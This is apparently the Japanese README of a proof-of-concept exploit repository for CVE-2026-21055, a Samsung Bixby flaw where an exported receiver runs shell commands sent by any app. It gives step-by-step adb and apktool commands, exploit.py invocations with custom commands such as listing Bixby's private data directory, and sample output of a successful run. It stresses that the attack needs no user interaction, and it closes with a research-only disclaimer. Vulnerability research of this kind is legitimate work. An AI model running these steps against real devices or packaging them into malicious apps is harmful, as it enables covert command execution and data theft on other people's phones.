CVE-2026-21055 PoC — Samsung Bixby の不適切なコンポーネントエクスポート

CVE-2026-21055 の Proof of Concept：バージョン 4.0.70.8 より前の Samsung Bixby における Android アプリケーションコンポーネントの不適切なエクスポートにより、ローカルの攻撃者が Bixby の権限で任意のコマンドを実行できます。

概要

このリポジトリには、2つの Python スクリプトが含まれています：

1. analyze_components.py — 逆コンパイルされた AndroidManifest.xml を解析し、エクスポートされた Activity、Service、Receiver、Provider を列挙します。パーミッションガードなしでエクスポートされたコンポーネントにフラグを立てます。

2. exploit.py — adb shell am を介して、細工したブロードキャスト Intent を Bixby のエクスポートされたコマンドレシーバーに送信し、Bixby のシステムレベル権限でコマンドを実行することで、Intent ベースの攻撃を実演します。

脆弱性の詳細

前提条件

• adb（Android SDK Platform Tools）がインストールされ、PATH に設定されていること
• USB デバッグが有効な Samsung Galaxy デバイス
• 対象デバイスの Bixby がバージョン 4.0.70.8 未満であること
• コンポーネント解析用：apktool がインストールされ、PATH に設定されていること

使用方法

1. Bixby のエクスポートされたコンポーネントを解析する

デバイスから Bixby APK を取得し、逆コンパイルします：

# Find Bixby's APK path
$ adb shell pm path com.samsung.android.bixby.agent

# Pull the APK
$ adb pull <apk_path> bixby.apk

# Decompile with apktool
$ apktool d bixby.apk -o bixby_decompiled -f

解析スクリプトを実行します：

$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml

または、スクリプトに自動で逆コンパイルさせることもできます：

$ python3 analyze_components.py --apk bixby.apk

2. 実機上のエクスポートされたコンポーネントを一覧表示する

$ python3 exploit.py --list

3. エクスプロイトを実行する

# Default: execute 'id' command
$ python3 exploit.py

# Custom command
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"

# Specify a custom component (if auto-detection fails)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver

想定される出力

============================================================
  CVE-2026-21055 PoC — Samsung Bixby Command Execution
  Improper Export of Android Application Components
============================================================

[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version:  4.0.69.2
[*] Vulnerable:     YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx

[*] Executing exploit...
[*] Crafting exploit Intent...
    Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
    Action:    com.samsung.android.bixby.agent.ACTION_RUN_SHELL
    Command:   id
    Output:    /data/local/tmp/bixby_poc_output

[+] Intent sent.

[+] Command output (executed with Bixby privilege):
    uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)

[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx

動作の仕組み

1. コンポーネントのエクスポート：Bixby は、コマンド実行や自動化トリガーを処理する1つ以上のコンポーネント（サービス/レシーバー）をエクスポートします。これらのコンポーネントは android:exported="true" でエクスポートされていますが、android:permission 属性や実行時のパーミッション検査はありません。

2. Intent の配信：デバイス上の任意のアプリが、これらのエクスポートされたコンポーネントに Intent を送信できます。Intent には、アクション文字列（例：ACTION_RUN_SHELL）と、実行するコマンドと出力ファイルパスを含む文字列の extras が含まれます。

3. コマンド実行：Bixby のエクスポートされたコンポーネントは Intent を受け取り、コマンドを抽出して、Runtime.exec() または類似のメカニズムで実行します。コマンドは Bixby のプロセスコンテキストで実行され、Bixby のシステムレベル権限をすべて継承します。

4. ユーザー操作不要：このエクスプロイトはユーザー操作を必要としません。悪意のあるアプリはバックグラウンドで静かに Intent を送信します。

免責事項

この PoC は、教育およびセキュリティ研究目的のみで提供されます。所有しているデバイス、またはテストする明示的な許可を得ているデバイスでのみテストしてください。所有者の同意なしに、このエクスプロイトをデバイスに対して使用しないでください。

情報源

• NVD：https://nvd.nist.gov/vuln/detail/CVE-2026-21055
• Samsung モバイルセキュリティ速報（2026年7月）：https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=07
• CWE-926：https://cwe.mitre.org/data/definitions/926.html